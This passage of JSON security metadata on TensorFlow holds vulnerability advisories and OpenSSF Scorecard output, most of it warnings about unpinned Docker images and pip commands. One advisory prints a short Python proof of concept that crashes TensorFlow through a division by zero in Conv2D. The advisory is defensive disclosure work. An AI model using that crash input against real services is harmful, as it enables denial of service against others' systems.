\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University and Hong Jin from Singapore Management University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T16:38:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2p9q-h29j-3f5v","https://nvd.nist.gov/vuln/detail/CVE-2022-29193","https://github.com/tensorflow/tensorflow/commit/290bb05c80c327ed74fae1d089f1001b1e2a4ef7","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/summary_tensor_op.cc#L33-L58","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-2p9q-h29j-3f5v"],"source_kind":"github","identifiers":["GHSA-2p9q-h29j-3f5v","CVE-2022-29193"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:24.966Z","updated_at":"2023-01-27T05:01:45.000Z","epss_percentage":0.00043,"epss_percentile":0.12462},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTljOGgtMm12My00OXd3","url":"https://github.com/advisories/GHSA-9c8h-2mv3-49ww","title":"Division by 0 in most convolution operators","description":"### Impact\nMost implementations of convolution operators in TensorFlow are affected by a division by 0 vulnerability where an attacker can trigger a denial of service via a crash:\n\n```python\nimport tensorflow as tf\n\ntf.compat.v1.disable_v2_behavior()\ntf.raw_ops.Conv2D(\n  input = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  filter = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32),\n  strides = [1, 1, 1, 1],\n  padding = \"SAME\")\n```\n\nThe shape inference [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/framework/common_shape_fns.cc#L577) is missing several validations before doing divisions and modulo operations.\n\n### Patches\nWe have patched the issue in GitHub commit [8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4](https://github.com/tensorflow/tensorflow/commit/8a793b5d7f59e37ac7f3cd0954a750a2fe76bad4).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu 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ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:70","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:76","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:85","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:90","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:93","Warn: pipCommand not pinned by hash: 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pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:62","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:65","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:75","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:79","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:82","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:84","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:86","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:89","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:93","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:98","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:100","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:102","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_python3.6_pip_packages.sh:108","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/cmake/run.sh:44","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:34","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/gpu/run_mkl.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:101","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/linux/mkl/install_openmpi_horovod.sh:104","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/rel/ubuntu/cpu_arm64_test_build.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/release/common.sh:220","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: 